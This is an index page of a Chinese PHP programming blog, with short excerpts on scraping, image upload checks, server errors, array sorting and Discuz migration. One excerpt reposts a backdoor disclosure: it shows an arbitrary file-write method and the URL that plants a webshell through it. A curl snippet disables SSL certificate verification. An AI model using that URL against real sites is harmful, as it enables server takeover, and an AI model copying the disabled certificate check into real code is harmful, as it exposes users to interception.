浏览模式: 普通 | 列表
QueryList是一套简洁、优雅的PHP采集工具(爬虫),基于phpQuery。

https://gitee.com/jae/QueryList
https://doc.querylist.cc/ 这个官方站好像挂了


特性:

        拥有与jQuery完全相同的CSS3 DOM选择器

        拥有与jQuery完全相同的DOM操作API

        拥有通用的列表采集方案

        拥有强大的HTTP请求套件,轻松实现如:模拟登陆、伪造浏览器、HTTP代理等意复杂的网络请求

        拥有乱码解决方案

        拥有强大的内容过滤功能,可使用jQuey选择器来过滤内容

        拥有高度的模块化设计,扩展性强

        拥有富有表现力的API

        拥有高质量文档

        拥有丰富的插件

        拥有专业的问答社区和交流群

通过插件可以轻松实现诸如:
...

阅读全文…

php判断上传的文件是否是图片

[ 2018-09-11 09:10:13 | 作者: admin ]
文件后缀判断
$filetype = array('jpg', 'jpeg', 'gif', 'bmp', 'png');
if (! in_array($extend, $filetype))
{
  echo '图片类型错误'; exit;
}    



二进制方式判断
         //*判断图片上传格式是否为图片 return返回文件后缀
         public function getImagetype($filename)
         {
                $file = fopen($filename, 'rb');
                $bin = fread($file, 2); //只读2字节
                fclose($file);
                $strInfo = @unpack('C2chars', $bin);
...

阅读全文…
服务器环境:
      PHP版本:php-5.3.0-Win32-VC9-x86.zip
      WIN2003 IIS6

按照前一篇的教程[IIS上安装PHP5.3的方法(教程) ]安装PHP 5.3 安装好后还是提示如下错误:

 

FastCGI Error
The FastCGI Handler was unable to process the request.
--------------------------------------------------------------------------------

Error Details:

Error Number: 14001 (0x800736b1).
Error Description: 由于应用程序配置不正确,应用程序未能启动。重新安装应用程序可能会纠正这个问题。
...

阅读全文…

php获取当前域名

[ 2018-04-03 11:17:22 | 作者: admin ]
当前url:http://localhost:805/test/helloworld.php

echo 'SERVER_NAME:'.$_SERVER['SERVER_NAME']; //获取当前域名(不含端口号)

  
echo 'HTTP_HOST:'.$_SERVER['HTTP_HOST'];//获取当前域名 (含端口号)

    
echo 'REQUEST_URI:'.$_SERVER['REQUEST_URI'];//获取当前域名的后缀

attachments/201804/03_111819_index.png

php基础篇-二维数组排序 array_multisort

[ 2018-02-28 13:39:26 | 作者: admin ]
https://www.cnblogs.com/tdalcn/p/6420055.html

对2维数组或者多维数组排序是常见的问题,在PHP中我们有个专门的多维数组排序函数,下面简单介绍下:

array_multisort(array1,sorting order, sorting type,array2,array3..)是对多个数组或多维数组进行排序的函数。

 
array1   必需。规定输入的数组。
sorting order   可选。规定排列顺序。可能的值是 SORT_ASC 和 SORT_DESC。
sorting type   可选。规定排序类型。可能的值是SORT_REGULAR、SORT_NUMERIC和SORT_STRING。
array2   可选。规定输入的数组。
array3   可选。规定输入的数组。

 

 

参数中的数组被当成一个表的列并以行来进行排序 ...

阅读全文…

discuz转移遇到pre_ucenter_vars问题

[ 2017-12-21 09:24:54 | 作者: admin ]
大家先看下数据库权限问题,然后再进行如下操作。

SQL:SELECT value FROM [Table]vars WHERE name='noteexists2′

UCenter info: MySQL Query Error
SQL:SELECT value FROM [Table]vars WHERE name='noteexists2′
Error:SELECT command denied to user ‘数据库‘@'IP地址' for table ‘pre_ucenter_vars'
Errno:1142

帮人迁移discuz,原以为很简单,数据导出,数据导入,修改uc_server/data/config.inc.php文件当中的数据库信息,网站能访问,看起来已经搞定,结果被告知无法登陆,提示数据库连接错误。只好再找了一圈,仔细核对config文件还是不行。折腾了一下...

阅读全文…
来源:http://blog.360dseo.com/

网曝微信第三方平台出现惊人后门及漏洞,后门及漏洞轻则导致网站无法访问,内容被篡改,严重的可能盗取服务器资料。

更严重的可能会获取服务器直接管理权限,因为代码属于正常参数提交,所以不会被杀毒软件及各种防火墙拦截,完全免疫!!!
后门1:
WeixinAction.class.php
public function test($name, $data)
         {
                file_put_contents($name, $data);
         }
这句话的意思就是在根目录生成文件data可以一句话木马提交注入。
执行原理网址后加index.php?g=Home&m=Weixin&a=test&name=muma.php&data=木马内容,
直接打开浏览就可以。笨蛋的说就是粘贴进网址按回车。
这里就是提交一句话木马写入到根目录muma.php内 由于很多程序做了转码,但是还是很多可以执行的。
...

阅读全文…

一次curl无法获取https网页的问题解决

[ 2017-09-25 17:23:49 | 作者: admin ]
centos6.5的服务器,curl是7.1
php5.3下面死活就是获取不到https内容,只有一片空白,但是抓http网页正常。

phpinfo()下面的信息正常,有curl和openssl,理论看是肯定能支持https的。然后在centos终端下curl能获取https,
这里想可能是php兼容问题,想着要不要升级php,随意把php-fpm重启了下,居然就好了,晕!!


后来想到curl可能版本升级过,造成php-fpm需要重启下才能识别?反正重启大法搞定了
function get_http($url){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书
    curl_setopt($ch,
...

阅读全文…